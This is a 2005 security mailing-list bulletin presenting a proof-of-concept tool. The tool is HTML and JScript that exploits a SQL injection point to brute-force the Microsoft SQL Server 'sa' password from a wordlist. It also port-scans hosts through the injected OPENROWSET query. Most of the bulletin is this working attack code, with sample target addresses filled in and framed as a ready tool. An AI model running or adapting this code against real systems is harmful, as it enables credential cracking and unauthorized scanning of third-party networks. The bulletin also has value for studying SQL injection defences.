[TOOL] MS SQL Server Passwords Bruteforce via SQL Injection (PoC)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  MS SQL Server Passwords Bruteforce via SQL Injection (PoC)
------------------------------------------------------------------------


SUMMARY



DETAILS

Base on the article linked in our previous article:  
<http://www.securiteam.com/securityreviews/5IP030K8AA.html> Manipulating 
Microsoft SQL Server Using SQL Injection, the following tool will utilize 
SQL injection vulnerabilities to brute force MS SQL's sa password.

Tool:
< html>
< h3>
MS SQL Server passwords bruteforce PoC via SQL Injection
< /h3>
(c)oded by Sergey V. Gordeychik 2005< br>
< a href=mailto: [email protected]>[email protected]< /a>
< hr>
< table>
< tr>
< td>
URL with injection:
< /td>
< td>
< input type=text Value="http://200.4.4.106/inject.asp?id=1;< ***>" 
id=baseurl>
< /td>
< tr>
< td>
Passwords file:
< /td>
< td>
< input type=text Value="passwords.txt" id=passwords>
< /td>
< /table>
< input type=button Value="Start" onclick="brut();">
< hr>
< h3>
Network port scanner via SQL Injection
< /h3>
< hr>
< table>
< tr>
< td>
Server:
< /td>
< td>
< input type=text Value="200.4.4.6" id=server>
< tr>
< td>
Port to scan:
< /td>
< td>
< input type=text Value="445" id=port>
< /table>
< input type=button Value="Check" onclick="scan();">
< hr>
< a id="status">< /a>


< script language="JScript">

 var xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
 var inject = "select * from openrowset('SQLOLEDB','.';'sa';'pass','select 
1')"


  function scan()
  {

    var x,s = inject.replace(".", document.getElementById("server").value 
+ "," + document.getElementById("port").value);
    s = document.getElementById("baseurl").value.replace("< ***>", s);
    xmlhttp.Open("GET", s, false);
    xmlhttp.Send();
    x = xmlhttp.responseText;
    if (x.indexOf("SQL Server does not exist")>=1) s="closed"; else
    if (x.indexOf("Timeout expired")>=1) s="filtered or unreachable"; else
    if (x.indexOf("Login failed")>=1) s="SQL Server detected."; else  
s="open";
    document.getElementById("status").innerHTML="Scaned " + 
document.getElementById("server").value + ":" + 
document.getElementById("port").value + ".Port status:< b>"+s;

  }

  function checkpass(url, passwd)
  {
    var s = inject.replace("pass", passwd);
    s = url.replace("< ***>", s);
    xmlhttp.Open("GET", s, false);
    xmlhttp.Send();
    if (xmlhttp.responseText.indexOf("Login failed")>=1) return 0; else
    {
    return 1;
    }
  }
  
  function brut()
  {
   document.getElementById("status").innerHTML="Starting...";
   var fso, f, pass, baseurl, passwords, i
   fso = new ActiveXObject("Scripting.FileSystemObject");
   baseurl=document.getElementById("baseurl").value;
   passwords=document.getElementById("passwords").value;
   f = fso.OpenTextFile(passwords, 1);
   i = 0;
   while (!f.AtEndOfStream)
   {
    pass = f.ReadLine();
    i=i+1;
    if (!(i % 10))
    {
       document.getElementById("status").innerHTML="Trying password N"+i+" 
 < b>"+pass+"< /b>";
    }
    if (checkpass(baseurl, pass))
    {
      document.getElementById("status").innerHTML="SA password is '< 
b>"+pass+"< /b>'. Checked "+i+" passwords";
      return 0;
    };
   }
   document.getElementById("status").innerHTML="Ooopssss.... May be next 
time";
  }
< /script>


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> offtopic.
The original article can be found at:  
<http://www.securitylab.ru/_tools/2005/05/sqlbrut.zip> 
http://www.securitylab.ru/_tools/2005/05/sqlbrut.zip



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.